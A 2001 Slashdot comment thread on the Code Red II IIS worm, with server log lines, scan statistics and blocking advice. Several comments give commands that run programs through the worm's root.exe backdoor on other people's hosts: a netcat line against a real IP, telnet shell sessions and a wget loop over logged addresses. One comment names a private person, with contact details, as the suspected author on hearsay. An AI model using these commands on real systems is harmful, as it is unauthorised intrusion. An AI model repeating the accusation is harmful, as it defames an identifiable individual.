    javascript:void(window.open( %22http://www.netcraft.co.uk/whats/?host=%22 + window.location))

    On the same subject, check HTML validity:

    javascript:void(window.open( %22http://validator.w3.org/check?uri=%22 + window.location))

    ... CSS validity...

    javascript:void(window.open( %22http://jigsaw.w3.org/css-validator/validator?ur i=%22 + window.location))

    ... links ...

    javascript:void(window.open( %22http://www.htmlhelp.com/tools/valet/linktest.cg i?url=%22 + window.location))

    ... bookmarklets are fun!

    --
    I'm old enough to remember when discussions on Slashdot were well informed.
  397. Re:Why don't they... by GC · · Score: 1

    absolutely - use Multicast Groups as well.

  398. While you're at it... by jeffsenter · · Score: 2

    Why don't you make it Code Red Hat... the worm finds machines infected and then reformats them and installs Redhat. That would take care of the MS infinite bug problem.

    Seriously though it should be Microsoft releasing a antidote virus that cleans up all their crappy infected servers. It seems like Microsoft is allowing this to continue because they get a ton of free media coverage... any publicity is good publicity.

    1. Re:While you're at it... by mOdQuArK! · · Score: 1
      Seriously though it should be Microsoft releasing a antidote virus that cleans up all their crappy infected servers.

      Actually, Microsoft might be the only entity who can legally do this.

  399. Easier to track the source now? by no-body · · Score: 1
    One would think that it is easier to track the origin of the new code now.

    My first one was: 63.122.141.50 - - [04/Aug/2001:15:13:17 -0600]

    1. Re:Easier to track the source now? by Anonymous Coward · · Score: 0

      bah, you beat me by 6 minutes....

      [04/Aug/2001:08:44:15 -0500] "GET /default.ida?XXXXXXXXXXXXXXXXX
      XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

    2. Re:Easier to track the source now? by Maditude · · Score: 1

      My first one was:

      24.31.114.57 - - [04/Aug/2001:08:38:56 -0500] "GET /default.ida?XXXXXX[...snip...]

  400. Code Red III ? by Anonymous Coward · · Score: 0

    Somehow this is boaring!
    The only thing I read about Code Red II are statistics about the infection rate, how those random generators work, how easy it is to infect a wellknown company's product, that maybe some rootkit gets installed ... many more boaring discussions.

    But all this is selfish. A few days ago, a virus hit us which caused at least a little bit fun. It was this SirCam thing. This virus made it possible to read foreign documents! This was more fun, this was not selfish, this virus hacker let us all participate!

    I just wait for the next Code Read worm, which hopefully combines the document sharing code of SirCam with the infection rate of Code Red or maybe it could create web pages with links to such data. Would be really funny to read secret documents of companies. Such a worm will sure cause a rethinking about what products should be used, and what products one should leave in the store.

    But as long as those virus hackers are selfish and install rootkits only, we all read just statistics, statistics, technical discussion and all this boaring stuff.

    [Of course I do not run those wellknown company's product, I do not even have them installed! Just sitting and waiting for those documents to drop in ;^)]

    1. Re:Code Red III ? by Anonymous Coward · · Score: 0

      Well, since everything technical is boring to you, then why dont *you* code the Code Red III with all the features you want and then brag on slashdot how good you are and how stuff you dont understand are lame and everyone that cares about it are lamers..

      Really, these skript kiddies today.. Posting on slashdot when they could be bragging on IRC.. tsk tsk..

  401. Analogy by Anonymous Coward · · Score: 0

    It's like it's raining outside, and I didn't notice until I opened the door and looked outside... I didn't know anything was going on till I read slashdot, saw this article, thought "I wonder if any are hitting me" and check my web logs... a voila, there were a few hundred hits from Cr2, coming in every 1-2 minutes. amusing.

  402. Re:Free r00t for all! by Anonymous Coward · · Score: 0
    I could probably do something like run IE and have it go to a page about Code Red

    Or have it go to goatse.cx. That should convince them to patch their system.

  403. Revenge is a dish best served cold ... by Buran · · Score: 1

    On my OS X Apache box on my desk at work, default.ida is now a copy of http://www.hideaway.net/newsletter/iis_ida_overflo w.txt ... If I keep getting garbage in my server logs, it may become a 10MB text file of nothing but repetitious copies of the alert... though I'm not sure how much it'd help. You want it? You got it...

  404. Re:cisco 675 hanging. by lichtin · · Score: 1
  405. Arrrghh by J'raxis · · Score: 1

    Over four hundred probings from 66.* today. For a while I had a webserver running just to catch these things but now there's just too many. I'm glad my website doesn't have it's own IP address -- when CodeRed scans my site's IP address, it gets the host's main page, not mine.

  406. If this can't break Microsoft's back nothing will. by cybrthng · · Score: 3, Insightful
    If there isn't one thing that can break the straw nothing will.

    I'm warned that smoking and drinking are bad for my health

    Medicines and drugs aren't legal unless they're fully tested and approved

    My car doesn't lock up and freeze

    My microwave doesn't blue screen and cook my brain inside out.

    SO WHY THE HELL IS THE CORE FUNCTIONALITY OF MY PC allowed to distribute my personal information, crash during critical functionality, be succeptable to cracks and attacks that are easily preventable.

    WHY do i have to pay extra for the functionality of NOT being succeptable to virii and net attacks?

    WHY doesn't microsoft NOTIFY me of the risks of using its OS?

    I hope no ones bank is trusting microsoft, i hope anyone doing online transactions don't trust microsoft. I hope no one keeps personal, private, confidential and financial data on there pc's.

    I hope no one running Windows is on the internet for that matter.

  407. Code Red connects from Microsoft IP space by jroysdon · · Score: 1

    No doubt just some test box someone fired up, but hard to believe that Microsoft wouldn't apply their own security patches to their own boxes:

    [Sat Aug 4 18:48:37 2001] [error] [client 207.46.117.98] File does not exist: /home/httpd/html/default.ida

    $ whois 207.46.117.98@whois.arin.net
    [whois.arin.net]
    Microsoft (NETBLK-MICROSOFT-GLOBAL-NET)
    One Redmond Way
    Redmond, WA 98052
    US

    Netname: MICROSOFT-GLOBAL-NET
    Netblock: 207.46.0.0 - 207.46.255.255

  408. Re:a quick fix by Anonymous Coward · · Score: 0
    I just checked, and an IIS 3.0 server I setup years ago at my old job is still running, still with all the exploits.

    Dumb Fucks.

  409. Re:MSNBC Coverage by baptiste · · Score: 3, Informative
  410. Re:a quick fix by jerrytcow · · Score: 1

    IIS runs on windows NT and 2000. there's no windows directory, it installs in \winnt.

  411. Re:A few more details:It's a root trojan by MrBogus · · Score: 1

    The LocalSystem account has far more than 'pleb' rights -- it's essentially equivilant to Administrator on the file and registry permission level.

    They only thing it can't do is talk to MS RPC and SMB services. If the worm can upload something, this restriction could be bypassed.

    But what you say about each account having it's own 'desktop' is true. The reason "Allow Service to interact with Desktop" works with SYSTEM is because of it's god-like powers on the local machine.

    --

    When I hear the word 'innovation', I reach for my pistol.
  412. C:\dos C:\dos\run | run\dos\run by mcleodnine · · Score: 5, Informative

    Seeing a lot of "XXXX" and far fewer "NNNN" in the logs. This version appears to stay crunchier in milk than the first. Up to 25-30 per hour, from 10 this afternoon. The 24.x.x.x may be getting slammed, but I can see another that is just as bad.

    Snipped from incidents dot org (emphasis added)
    Both Henk Wevers and corecode submitted packet traces of the complete request as shown below. Comparing this trace with the original Code Red (see the Code Red Infection Illustrated section of the July 23 Handler's Diary at: http://www.incidents.org/diary/july2001.php) it is immediately obvious that we are dealing with a new worm. Note that line 820 shows that the worm is doing something with CMD.EXE; also the dump contains the string 'CodeRedII' on line 230. Note the references to root.exe on lines 840 and 880.

    Article also mentions that it appears the compromised servers are backdoored and rooted. Ouch.

    The editorial accusations of crying wolf might look a little pale this evening...

    --
    one better than mcleodeight
    1. Re:C:\dos C:\dos\run | run\dos\run by Yorrike · · Score: 1
      I'm on 202.x.x.x and I admin a server on 203.x.x.x

      I've had 300+ on my 203.x.x.x box, with a majority of attacks coming from Korean servers.

      My 202.x.x.x box hasn't recieved any V2 attacks yet, but 28 V1 attacks.

      Just thought someone might be interested : )

      --

      Looks can be deceiving. Or CAN they?

    2. Re:C:\dos C:\dos\run | run\dos\run by Anonymous Coward · · Score: 0


      Thanks God, CodeRed ][ doesn't use raw sockets.
      </sarcastic>

      Cheers,

      --fred

    3. Re:C:\dos C:\dos\run | run\dos\run by Tiroth · · Score: 1

      I'm on 24.x.x.x and I'm getting 50+/hour

  413. Re:Free r00t for all! by Anonymous Coward · · Score: 0

    echo -e GET /scripts/root.exe?%20/c%20dir%20c:\\ HTTP/1.0\\n | nc -w 1 211.183.77.231 80 | grep -i mp3

  414. No hits here by drodver · · Score: 1

    I'm an @home customer, and have yet to be hit by this one. One of the above articles said it skips IP's ending in 0, perhaps it skips any IP with a 0 in it. I'm 24.*.0.* Side note, got two V1 attacks today. (120 total)

  415. Better turn off scripting!!! by Genetically+Enginerd · · Score: 1

    Apparently the script kiddies are loose and defacing web pages now that there are a couple of backdoors installed for them. Best turn off any scripting in your browser and read up on all of the nasty exploits that can be done by malicious web sites. ALL of the infected web sites should now be considered malicious.

    --
    Does the income I've derived from working with Unix belong to SCO?
  416. Check out the stats! by OpperNerd · · Score: 1
    The stats at Security.nl show a great increase in scans. There's also a map of the geographic distribution of the worm available.

    --
    -- unix is for people without a social life - Patrick van Eijk
  417. Re:What if MICROSOFT saves the world? by MasterOfDisaster · · Score: 1
    MS would never do this. why? because there are vast legal problems problems with it. a "Code Green" worm would, in the eyes of the law, exactly the same as the "Code Red" and "Code Red II" worms. It's software that accesses a user's computer, and does things without the user's knowlage. Now, the two posible ways you could get around this are:
    1) Put a "warning" screen before code green does anything. IE "Your computer has been infected with the Code Red worm, this program is a patch, and will repair your computer"
    2) MS could put a line in the EULA for IIS that says "Microsoft can monitor your computer for viruses, and without warning, remotely apply patches"

    Now, 2 I know would be legal, and while 1 is questionable, if it went to court, i speculate that it could easily be defended. (However, IANAL, so if you spend some time in jail, dont blaim me)

    --
    The opinions in this post are ficticious. Any similarity to actual opinions, real or imagined, is purely coincidental.
  418. Check out this article... by Mnemia · · Score: 1
    http://www.cnn.com/2001/TECH/internet/08/01/virus. insurance/index.html
    (http://www.cnn.com/2001/TECH/internet/08/01/virus .insurance/index.html for the goatse.cx paranoid)

    August 1: CNN tells that virus warnings like this are like "crying wolf"

    August 4: New, more virulent, variant of Code Red explodes onto the scene (judging from my Apache logs) and begins to bring parts of the @home network down...

  419. here's he big secret by cryocode · · Score: 1

    the best virus is "free", "proprietary" and made by "you"

  420. Re:@home problems... by sharkey · · Score: 2

    I'm getting rapidly poked here in Indy, connected to Comcast@HOME. They've gone off the net for more than an hour after 22:00 EST the last few nights. I don't know if the outages are from CodeRed I or II, or from @HOME's usaul technical competence.

    --

    --
    "Outlook not so good." That magic 8-ball knows everything! I'll ask about Exchange Server next.
  421. Re:A few more details:It's a root trojan by yggdrazil · · Score: 1

    Shouldn't we all log on to infected machines, start up MSIE and point it to a web page explaining that the machine is infected and that it should be patched, and then remove root.exe?

    It could be done automatically by a few lines of perl code listening to a tail -f of the weblog.

  422. Re:Now that is funny! by JediTrainer · · Score: 1

    Why don't we all go and email him to let him know how great we think he is.

    Now not only will his machine be r00ted, but his email account will be /.d!

    --

    You can accomplish anything you set your mind to. The impossible just takes a little longer.
  423. Never name a virus by the name its author intended by cyberdonny · · Score: 3, Insightful
    From the article:

    In particular, the fact that it has "CodeRedII" inside means that it couldn't possibly be the original worm -- the name wasn't attached until after it was released.

    If this beast is truely wicked, it will scan assorted websites such as Slashdot, Wired, etc, and as soon as it will see talk about itself it will enter its active phase...

  424. URM. Thjs is NOT good. GG Microsoft by nyet · · Score: 2


    $ telnet x.x.x.x 80
    Trying x.x.x.x...
    Connected to x.x.x.x.
    Escape character is '^]'.
    GET /scripts/root.exe HTTP/1.0
    HTTP/1.1 200 OK
    Server: Microsoft-IIS/5.0
    Date: Sun, 05 Aug 2001 05:51:06 GMT
    Content-Type: application/octet-stream
    Microsoft Windows 2000 [Version 5.00.2195]
    (C) Copyright 1985-1999 Microsoft Corp.
    c:\inetpub\scripts>

    Game over man, game over.

    1. Re:URM. Thjs is NOT good. GG Microsoft by Anonymous Coward · · Score: 0

      Oh, that's so cool, but I'm too chicken to try it (can you get arrested for that?)

  425. Linux Distro Worm? by starz · · Score: 1, Interesting

    I'm gonna make a worm that...

    1. Repartitions a Fat32/NTFS partition
    2. Makes a Ext2 partition
    3. Installs a Linux distribution on the Ext2 partition.
    4. Formats Fat32/NTFS partition
    5. Writes the boot sector for the new linux installation
    6. Reboots.

  426. ARP Broadcast spamming by skilbeck · · Score: 1

    I am being ARP passthru spammed - is this part of the CodeRed II deal?

    1. Re:ARP Broadcast spamming by Anonymous Coward · · Score: 0

      Is that what is f'ing hitting me?!? Something keeps making my cable modem activity light go, so I passed port 80 to a unix httpd to see how many IPs were making all these requests.. Nothing showed up.. So I passed back all ports to a unix box, still nothing in netstat at all.. So could you enlighten me as to what you're seeing?

  427. Broken random number generator (again!) by cperciva · · Score: 2

    It looks like someone has a broken random number generator again.

    At least, that's the only explanation I can see for the fact that out of 250 attacks I've seen so far, 47 came from the same source IP. Admittedly, it being in the same /16 I'd expect to see more attacks from it, but unless it scans the entire /16 every 5 seconds I think it is a sign of a broken random number generator.

    Come on guys, if you're going to try to bring down the internet, at least do it right!

    1. Re:Broken random number generator (again!) by spektr · · Score: 1

      From http://www.unixwiz.net/techtips/CodeRedII.html:

      Pattern scanning algorithm for Code Red II variant

      The algorithm used by this new variant is designed to infect lots of "local" machines that are presumably more fully populated than picking random IPs out there. A blend of the local IP and a random number is used, and the number of octets in each depends on yet another random number that can go eight ways:

      * 1 out of 8: entirely random IP

      * 4 out of 8: stay in same class A (192.X.Y.Z)

      * 3 out of 8: stay in same class B (192.168.X.Y)

      The code to do this starts with a table of masks, but remember that on the Intel platform, "network" byte order is the inverse of the native CPU order, so we have to think backwards. This made it much more difficult for a non-assembler guy like me to follow :-(

      For instance, 192.168.1.7 in "native" word order is 0xC0A0107, but in network order it's 0x07010AC0. This means that to stay in the same class A, we're keeping the LOW bits, not the high.

    2. Re:Broken random number generator (again!) by Anonymous Coward · · Score: 0

      aiui this is intentional. i've read the new algorithm chooses to attack within its local block 6 times out of 7. it turns out that this makes it spread much faster, because a) it makes a greater number of attacks in the same amount of time (less latency?) and b) if it compromises one machine on a block there's a greater chance it can do the same on another ip in that block than that it can on some other random block.

    3. Re:Broken random number generator (again!) by gdchinacat · · Score: 1

      unless the real source is behind nat. Imagine the company IIS server getting infected, then infecting the client machines behind the NAT, which then lauch attacks appearing to come from the same IP. Of course, anyone admin who doesn't put the webserver in a DMZ deserves to clean up all the clients they infected this way.

  428. Tomorrow's writeups today! ;) by Scoria · · Score: 2

    !!! CODE RED 2 !!!
    Steve Gibson of Gibson Research Corporation

    Greetings,

    As I said in my last warning, the Internet had *NOT* seen the last of the Code Red virus. The threat of a dangerous, Internet-wide infection is dangerous and real, made even worse by Microsoft Windows XP's *built-in* support for RAW SOCKETS.

    Microsoft does not understand the *BLANTANTLY OBVIOUS* danger presented by RAW SOCKETS left to the hands of their users. After all, any PERSONAL COMPUTER which utilizes Windows XP (and its EXTREMELY DANGEROUS RAW SOCKETS) will be infected by a Code Red variant sometime in the future! It is *INEVITABLE.*

    With the new "features" of Code Red 2, such as the backdoor created by it, any 13 YEAR OLD SCRIPT KIDDIE could take down the entire Internet by starting a random DDoS attack from random IPs to random ports on other random IPs using malicious code similar to that contained in the Code Red virus!!!

    ***IMAGINE THE CHAOS. THE THREAT IS REAL...***
    I REPEAT, THE THREAT IS REAL.

    IMAGINE WHAT OTHER VULNERABILITES COULD BE DISCOVERED IN MICROSOFT'S WINDOWS DDoS XP BEFORE RELEASE! WHEN THEY ARE FOUND, EVERYONE KNOWS I'LL BE THERE TO SAY "I TOLD YOU SO!"

    --
    Do you like German cars?
  429. Google Rocks by Anonymous Coward · · Score: 0
    Just a quick search on google for "effectively respond to strategic threats" found this:

    DARPA (Defense Advanced Research Projects Agency) has recently awarded SHAI a contract to develop technology to help the US military effectively respond to strategic threats to the computer networks of the United States government. In particular, SHAI will develop tools that can be used to plan courses of action that can counter the threat of widespread, adaptive, coordinated and rapid attacks by exploiting predictive cyberspace knowledge to effectively manipulate the future actions of attackers to the benefit of US cyber defense.

    Think a little more next time you try to make someone or something anonymous. Google knows all, and is willing to share.

  430. The beginning of the end of free rides... by pongo000 · · Score: 2

    ...on @home for those who run small, low-bandwidth http servers. Most of the attacks on my Apache box have been from the 65.x.x.x subnet belonging to @home. I suspect @home will start scanning for open 80 ports, much as they did with port 119 when @home received the USENET death penalty.

  431. RoadRunner by spunkypimp · · Score: 1

    Here in the road runner Class A of 65.x.x.x I've gotten 14 hits on default.ida in the past 20 minutes, so obviously it's spread to Time Warner too, not just @home and speakeasy.

  432. Re:If this can't break Microsoft's back nothing wi by Edward+Teach · · Score: 1

    My Linksys was only $99.00, and YES, it is great. From the help page:

    Block WAN Request
    This feature is designed to prevent users from attacking through the internet. When it is enabled, the router will drop both the unaccepted TCP request and ICMP packets from WAN site. The hacker will not find the router by pinging the WAN IP address.

    --

    Setting his threshold to 5, Sparky eliminated most of the trolls on /.

  433. Trivial To Block using Transparent Web Proxies by happyzathy · · Score: 1

    One of my clients is running using a transparent proxy and we have suggested to all our clients to block access to the following hosts:

    • 'Accept' (The malformed request looks like a request for http://accept/ to some proxies)

    Since this will not resolve people are suggested to redirect requests for this host to a known real address that resolves to something like 10.254.254.254, and block access to that particular IP address.

    The other thing that people should do is place an url_regex looking for the following in the URL:

    • .*NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN.*
    OR:
    • .*XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.*

    And deny access to those URLs.

    With Squid the redirection can be done using a redirector plugin and the blocking using access control lists and the http_access directive. With Inktomi's Traffic Server people should use remap.config to do the remapping and filter.config to do the blocking. Other caching vendors do have similar facilities and people should employ them as and where they can. (IMHO)

    Please note: One of our clients using this technique is logging everyone who has caused a scan and is getting in touch with people to let them know they've been compromised. (For obvious reasons - the alternative is to pull the plug on people :-/ )

    They have so far blocked in the region of 3.5 million attempted scans of Code Red II in the past 12 hours alone.

    Whilst Microsoft may be to blame here, there is affirmative action people in the right places can take, and although our clients have already been informed of how to block it I'm posting here just in case a few people slipped through the net...

  434. Re:a quick fix by Anonymous Coward · · Score: 0

    No, it doesn't help to move on to something that's less popular and has no root exploits published. I guarantee that it is, in fact, less secure than systems like *BSD, against which security experts spend thousands of hours each week, to ensure the secureness of. If there were 20 root exploits, they would all be in some little-used package, and after the first one was published everyone would know to turn it off by default. After patching it, the next 19 root exploits would be harmless. Because it's open. And people get upset when there's a root exploit, and scramble to fix it. Go over that part of the code with a fine-toothed comb. Not so with Microsoft.

  435. Re:A few more details:It's a root trojan by lalleglad · · Score: 2, Interesting

    OK, I tried this on a couple of the hosts that I have in my access logfile, but after a few successful attempts it got boring.

    I wonder what I can do after getting the prompt? After I get:

    c:\inetpub\scripts>

    I don't know what to do, but I would like to send an email to the webmaster telling him to stop letting his server sending me crap, however I have tried 'dir' and 'cd' which I thoiught were simple commands, but the link then seems to be stuck, ie. nothing happens.

    If anyone has info about what can be done there I'd like to hear.

    An email from his own machine by someone else ought to scare him to DO something about it!

  436. Strains by Anonymous Coward · · Score: 0

    I had 127 hits for the "N" Strain, and 402 for the "X" strain so far.

  437. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 1, Insightful

    #!/bin/sh
    for address in `cat /var/log/apache/access.log.0 |awk '{print $1}'`
    do
    wget -t 1 'http://'$address'/scripts/root.exe?/c+ren+root.ex e+fire_your_admin.dat'
    done

    Not clean nor graceful and it only works if all you accessess come from red alerts, but it works and its quite easy to adjust.

  438. It's been crappy since yesterday. by Cow_With_Gun · · Score: 1

    My internet has been slow and choppy since yesterday, and I am an @home cable user. SO this has been around longer then 9:11am EST.

    --
    "And your both 6 months pregnant by Billy Ray Sirus" "Then why is mom showing and i'm not?" - Married With Children
  439. Re:logs by ConsumedByTV · · Score: 2

    post the perl script? I would be very thankful :)

    --


    "Not my manner of thinking but the manner of thinking of others has been the source of my unhappiness." - M
  440. Re:logs by Anonymous Coward · · Score: 0

    what do you use to log those attacks? thats very interesting...

  441. And the depressing thing is... by Simon+Brooke · · Score: 3, Interesting
    I wrote the following shell script to mail webmasters on infected hosts:
    #!/bin/bash

    # OK: the rationale behind this is that it will lookup the name of each host
    # which probes us with the Code Red style probe, and then see whether that
    # name resolves back to the number. If it does there's some hope that it's a
    # real host, so we'll try to mail webmaster@

    log=$HOME/codered.log

    for ip in `grep default.ida /var/log/httpd/access_log |\
    awk '{print $1}'`
    do
    grep "$ip" $log > /dev/null

    if [ $? -ne 0 ]
    then # it's not there
    echo $ip >> $log # remember so we don't mail them again

    host=`dig -x $ip -Aq +nocmd +nostats +noheader +noauthor \
    +noaddit | tail -3 | awk '{print $5}' | sed 's/\.$//'`

    echo -n "Seen $ip [$host]"

    echo $host | grep '^[a-z0-9.-]*$' > /dev/null

    if [ $? -eq 0 ]
    then
    echo -n "...appears to be valid..."

    valid=`nslookup $host | tail -2 | grep '^Address:' |\
    awk '{print $2}'`
    fi

    if [ "$ip" = "$valid" ]
    then
    mail -s "Your machine appears to be infected by Code Red" \
    webmaster@$host <<EOF

    Dear Webmaster

    We have received a request for 'default.ida' from your server at
    $ip. This is usually an indication that you have been
    infected by the 'Code Red' or 'Code Red II' worm, currently
    attacking Microsoft IIS servers. To secure your server, download
    and install the appropriate patch from Microsoft


    * Windows NT 4.0:
    http://www.microsoft.com/Downloads/Release.asp?Rel easeID=30833

    * Windows 2000:
    http://www.microsoft.com/Downloads/Release.asp?Rel easeID=30800

    Or, better still, switch to a proper operating system
    EOF
    echo " ...mailed"
    else
    echo " ? not valid?"
    fi
    fi
    done

    I've been hit by 61 different unique IP's today, of which 17 had IPs which resolved to addresses which resolved to the same IPs. So how many of my mails were actually accepted for delivery?

    That's right, none.

    --
    I'm old enough to remember when discussions on Slashdot were well informed.
  442. Re:Proposal for White Hat'ing CR][ by ChadM · · Score: 1

    not to mention that if it spreads in the same manner as the original worm it will suck bandwidth just like the worm does.

  443. The Author of Code Red II by Anonymous Coward · · Score: 0

    I highly suspect that Jason Pan (icq# 100915089 email: cooly_jelly@hotmail.com) wrote the Red Code virus. He is a classmate of mine, lives in Taipei, Taiwan, Shihlin District Wen Lin Road. in a really spooky and house. I always remembered him having strange computer equipment and software. He also owns many programming books. A few days ago, he began behaving rather suspiciously. He told me that he was "working on something big" and would possibly affect the whole world. When I asked him for details, he refused to give me any. All I knew was that he was creating some sort of computer program. Being highly fluent and proficient in Win32 and C, I think he is quite capable of writing the virus.

  444. 80+ an hour by BastardOpFromHell · · Score: 1

    Right now, my server (Apache on Linux, of course) is logging about 80 Code Red/Code Red II requests per hour.

    --

    I KNOW I'm right. And if I'm not, I'm STILL right...
  445. Mee Too! (-1 for me too post) by ImaLamer · · Score: 1

    The funny thing is, I've been on IRC all day, and after basically turning my cable connection off my Windows firewall software (zonealarm) logged a lot of hits, HTTP in nature from 65.26.*, and 24.* .

    I'm a RoadRunner customer, and my ip is 65.26.ha.ha [hostname: gdubyabush.cinci.rr.com], so I thought at first these attacks where from other customers (which it could be) but soon realized most attacks where from RR servers!

    I've been hit by their own server 227 times on port 427, which is usually used to probe for services correct? This is just one IP on their network, not the customer network [sorry I'm not going to give ips]. Other IPs, usually one off, are hitting me about 40-50 times.

    I noticed this only one other time, and thats when I played around with Apache and proftpd. I guessed then it was because they `noticed' the traffic to and from my port 80 and 21. I only had a few people to log in to test, and my sister to download family pics to test. But those hits slowly stopped.

    So we've been hit also. The 24.* is shared by RR customers elsewhere in the country and @home. Although I've not really noticed any slowdowns, these attacks to my pc have ruined a CD I was writing because ZoneAlarm couldn't log them fast enough and the HD just pooped for a second.

    Good time to reboot to redhat i guess. And this whole time I thought my ISP was snooping or some software I was using had a backdoor that someone was trying to hit after I closed it.

    mIRC bye bye, X-chat, hello again.

    Mozilla bye by..ahh.. oh yeah,

  446. Re:Why are unix hosts getting hit so hard with thi by Saint+Aardvark · · Score: 2

    I suspect that mainly it's cos 1) this is a pretty UNIX-heavy forum, and 2) grepping logs and such is easier/more common in Unix than in MSLand.

  447. Re:cisco 675 hanging. by berzerker3 · · Score: 1

    On a lighter note, Qworst's support # had a 111 minute wait to talk to someone tonight...gotta love it...

    No kidding... I started my call at 12:00 and was told there was a 43 minute wait... it's now 2:13 and I just got off the phone with them. The whole conversation took about 5 minutes...

  448. Re:If this can't break Microsoft's back nothing wi by cREW+oNE · · Score: 1

    A patch was released months ago.

    It's not Bills fault you live in a cave.

    Replace "Windows" with "unpatched Bind on Unix", and you have an equally disturbing comment.

    --

    +++ATH0

  449. Re:Something that should happen more often. by Malcontent · · Score: 2

    I guess it depends on your choice of apps doesn't it. I use apache, proftpd, djbdns, and qmail (I don't run a news server). As far as I know there was a hack of proftpd in the last couple of years, an apache hack and nothing on qmail or djbdns. So a couple of the apps I sued needed to be updated at least once in the last year. Not too bad if you ask me especially considering apt-get upgrade and apt-get update are so easy to perform. Lucky for me I have literally dozens of high quality open source apps to choose from to run my services. I think I made the right choices by and large.

    All in all I would put up the record of my apps against MS suite any day.

    --

    War is necrophilia.

  450. Can't We Just Forgive and Forget? by p_trinli · · Score: 1

    Forgiveness is a subject that comes up quite a bit in [worms]. [Worms] are common, and the [worm author] usually wants to be forgiven. But the [cracked box] is usually reluctant to forgive, particularly if the [worm author] hasn't learned anything from the ordeal.

    But if forgiveness is difficult, forgetting can be downright impossible for many [administrators]. How can people be expected to forget some of the most painful experiences of their lives?

    I approach the subject of forgiveness from the perspective of someone (me) who believes in forgiveness, but also believes that [worms] should be fair. Since, in many cases, forgiveness is unfair, what should be done? As you will see in my responses to the three letters I've chosen, I support just compensation for some [worm attacks], so I don't always recommend forgiveness. It should be an encouragement to those of you who have been feeling guilty about being unable to forgive and forget. But, at the same time, it should also encourage [worm authors], because the compensation I propose will earn you a terrific reward, and it won't hurt at all.

    Courtesy:
    http://www.marriagebuilders.com/graphic/mbi5042_qa .html

  451. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 0

    Begs the question, so we all do this and then once logged in do a "del root.exe" or leave it for the NT admin to clean up...

  452. Re:Free r00t for all! by krogoth · · Score: 1

    just write a win2k .bat to install the patch, and write a perl script to telnet in to any IP and use it if possible. It might cause data loss, but if there is no other way to fix sysadmins, it should be done.

    --

    They that quote Benjamin Franklin on liberty and safety deserve neither.
  453. Ooops bad paste. Take two. by nyet · · Score: 2


    $ telnet x.x.x.x 80
    Trying x.x.x.x...
    Connected to x.x.x.x.
    Escape character is '^]'.
    GET /scripts/root.exe
    HTTP/1.1 200 OK
    Server: Microsoft-IIS/5.0
    Date: Sun, 05 Aug 2001 05:51:06 GMT
    Content-Type: application/octet-stream
    Microsoft Windows 2000 [Version 5.00.2195]
    (C) Copyright 1985-1999 Microsoft Corp.
    c:\inetpub\scripts>

    1. Re:Ooops bad paste. Take two. by gordzilla · · Score: 1

      Hmmm....This is interesting...

      HTTP/1.1 200 OK
      Server: Microsoft-IIS/5.0
      Date: Sun, 05 Aug 2001 12:00:02 GMT
      Content-Type: application/octet-stream
      Volume in drive C has no label.
      Volume Serial Number is 141A-9C26

      Directory of c:\inetpub\scripts

      05/05/2001 04:34a .
      05/05/2001 04:34a ..
      06/23/2001 07:59a 291 default.asp
      06/23/2001 07:59a 291 default.htm
      07/01/1999 08:27p iisadmin
      06/23/2001 07:59a 291 index.asp
      06/23/2001 07:59a 291 index.htm
      11/09/1999 04:46p 15,248 NSIISLOG.DLL
      07/01/1999 08:27p proxy
      12/07/1999 08:00a 236,304 root.exe


      Notice that 'root.exe' does not have the same file size as you're sample.
      The above server is the 'china goverment' defacement.

      I'm beginning to think there really are two versions of CR2

    2. Re:Ooops bad paste. Take two. by cyberdonny · · Score: 2

      Wow, this does indeed work! But where do you get from there? Typing dir at the prompt seems to do nothing at all. Even using GET /scripts/root.exe?dir HTTP/1.0 does not work as expected.

    3. Re:Ooops bad paste. Take two. by Anonymous Coward · · Score: 0

      testing messaging

  454. Code Red affecting cell phone service? by Anonymous Coward · · Score: 0

    I noticed that I could not get cell phone service this afternoon (5pm - 7pm approx.). I called customer service several times, they were always busy. I figured they must be having problems with there network. Funny thing is, my friend had the same problem. He has a completely different service provider for his cell phone (I have Cantell AT&T Canada, he has Fido Canada). Could it be that this worm affected cell phone networks?

  455. Why good people use bad webservers by Anonymous Coward · · Score: 0

    I work for a company that was using Apache on Solaris and has lots of techies aware of the problems with IIS. The marketing department decided to get the website re-written, and was told by the web design company that this would require running on IIS and ASP. They went ahead with this without consulting our IT dept, who are clueful enough to prefer to stay on Apache.

    The IIS setup was reviewed by IT, who found that, sure enough, it was full of holes and missing the latest patches. Fortunately they fixed it before Code Red, but the chances of getting it moved back to Apache are slim, because of the cost of the re-write... Sad but true.

    1. Re:Why good people use bad webservers by sheldon · · Score: 2

      Isn't this what an IT department should be doing?

      If the marketing department had installed a default install of RedHat 6.2 without patching it'd also be full of holes.

      But would this have magically made the marketing department more clueful?

      I don't see how.

  456. Re:Anybody else seen this? by Anonymous Coward · · Score: 0
    Was it this one http://65.4.1.33/?

    It displays the aformentioned HaX0r!ng.

  457. Re:If this can't break Microsoft's back nothing wi by nicodaemos · · Score: 3, Interesting

    This won't break Microsoft's back .... consumers voting with their feet can only achieve that end.

    Recently I was looking around for a new insurance company. Looking on the web I came across a couple of companies who would give me a quote if I provided them with some personal information. I was all set to deal with one site, whom I won't name, but I decided to first do a quick background check on them. Using netcraft I was able to tell they were running their site on IIS. That little bit of info told me that they weren't at all serious about keeping my personal information confidential.

    Of course I decided not to pursue any business with them. But I also went a step further. I wrote them a quick email informing them that I would never do business with a company who was choosing to base their internet business on the most hacked application platform on the internet.

    Let companies know that you won't do business with them if they use inferior products. Your quick and simple message to them will speak more loudly than a thousand rants on various message boards.

  458. 203.*.*.* is going beserk by Swordfish · · Score: 1
    Here in 203-land (Australia, CHina, Korea, Taiwan etc. - see this index), we've been clobbered since about UTC 19:00 August 4.

    As a consequence, we get clobbered by all those unpatched machines in east Asia. Since the price of windows office in vietnam in 1998 was US$13 (according to my observations at the time), it's not surprising that everyone in east Asia has windows.

    Hopefully, when MS gets serious about those nasty pirates who duplicate their second-rate software for them and make it a de-facto standard in Asia, we'll see these inadequately managed MS machines disappear from Asia and get replace with linux.

    Virtually all of the new CR2 probes on my 48 IP addresses are getting clobbered by 203.0.0.0/8 addresses. Note: not /24.

  459. Re:Code Red source available by testify · · Score: 1

    Don't hit the link. Pop-up hell.

  460. cost of bandwidth by Anonymous Coward · · Score: 0

